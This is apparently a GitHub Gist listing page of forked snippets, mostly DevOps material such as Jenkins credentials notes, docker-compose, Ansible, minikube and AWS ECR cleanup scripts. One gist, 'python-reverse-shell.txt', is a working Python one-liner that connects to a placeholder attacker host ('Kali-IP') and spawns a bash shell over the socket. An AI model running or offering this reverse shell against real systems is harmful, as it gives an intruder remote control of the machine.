Skip to content

Instantly share code, notes, and snippets.

@atrakic
atrakic / jenkins-pipeline-git-cred.md
Created November 7, 2018 18:50 — forked from blaisep/jenkins-pipeline-git-cred.md
Insert git credentials into Jenkins Pipeline Script projects

Suppose you want to inject a credential into a Pipeline script. The cloudbees note does not include Pipeline script examples. https://support.cloudbees.com/hc/en-us/articles/203802500-Injecting-Secrets-into-Jenkins-Build-Jobs

The Jenkins Pipeline Docs' description of the git pushmethod doesn't have an example using injected credentials. (https://jenkins.io/doc/pipeline/examples/#push-git-repo)

The Snippet generator is helpful, but not not if you try to follow the instructions at: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Binding+Plugin

@atrakic
atrakic / docker-compose.yml
Created November 7, 2018 15:08 — forked from marcelbirkner/docker-compose.yml
CI Tool Stack Docker Compose
nexus:
build: ./nexus
ports:
- "18081:8081"
jenkins:
build: ./jenkins
ports:
- "18080:8080"
links:
@atrakic
atrakic / python-reverse-shell.txt
Created October 17, 2018 11:44 — forked from lucasgates/python-reverse-shell.txt
Python one-liner to create a reverse shell to listening netcat server.
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
---
- hosts: newnode
remote_user: root
become: yes
become_method: sudo
tasks:
- command: bash -c "uname -r | grep ^4."
register: kernelversion
ignore_errors: yes
@atrakic
atrakic / minikube_tips.md
Created September 8, 2018 23:12 — forked from hustcat/minikube_tips.md
Minikube tips

Install

Install minikube:

# curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.18.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/

Install kubectl:

@atrakic
atrakic / bash.generate.random.alphanumeric.string.sh
Created September 4, 2018 09:25 — forked from earthgecko/bash.generate.random.alphanumeric.string.sh
shell/bash generate random alphanumeric string
#!/bin/bash
# bash generate random alphanumeric string
#
# bash generate random 32 character alphanumeric string (upper and lowercase) and
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
# bash generate random 32 character alphanumeric string (lowercase only)
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1
@atrakic
atrakic / remove-untagged-images-for-ecr
Created August 27, 2018 11:49 — forked from tsub/remove-untagged-images-for-ecr
Remove untagged images for ECR
#!/bin/sh
set -eu
type aws > /dev/null 2>&1 && type jq > /dev/null 2>&1 || {
echo 'Required aws-cli and jq'
exit 1
}
repositories=$(aws ecr describe-repositories --query 'repositories[*].repositoryName' | tr -d "[\",\t\n\r\"]")
<section data-transition='concave'>
<section id='local-kubernetes-environments-with-minikube'>
<a href="https://github.com/kubernetes/minikube"><img style="width:30%;" src="https://raw.githubusercontent.com/kubernetes/minikube/master/logo/logo.png" /></a>
<h2>Local Kubernetes Environments</h2>
<h3>with <a href="https://github.com/kubernetes/minikube"><code>minikube</code></a></h3>
<br/>
<h4 class='fragment grow'><a href="http://bit.ly/k8s-minikube"><code>bit.ly/k8s-minikube</code></a></h4>
</section>
<section data-background-transition='fade' data-background='black' id='presented-by-ryanj'>
<p>presented by <a href="http://twitter.com/ryanj/">@ryanj</a>, Developer Advocate at <a href='http://redhat.com' style='color:red;'>Red Hat</a></p>
cd k8s-specs
git pull
export AWS_ACCESS_KEY_ID=[...]
export AWS_SECRET_ACCESS_KEY=[...]
aws --version
@atrakic
atrakic / ansible_conditionals_examples.yaml
Created April 5, 2018 13:20 — forked from marcusphi/ansible_conditionals_examples.yaml
Ansible 1.3 Conditional Execution -- Very complete example with comments -- I find the conditional expressions to be ridiculously hard to get right in Ansible. I don't have a good model of what's going on under the surface so I often get it wrong. What makes it even harder is that there has been at least three different variants over the course …
---
# This has been tested with ansible 1.3 with these commands:
# ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts isFirstRun=false"
# ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts isFirstRun=true"
# ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts"
# NB: The type of the variable is crucial!
- name: Ansible Conditionals Examples
hosts: $hosts
vars_files: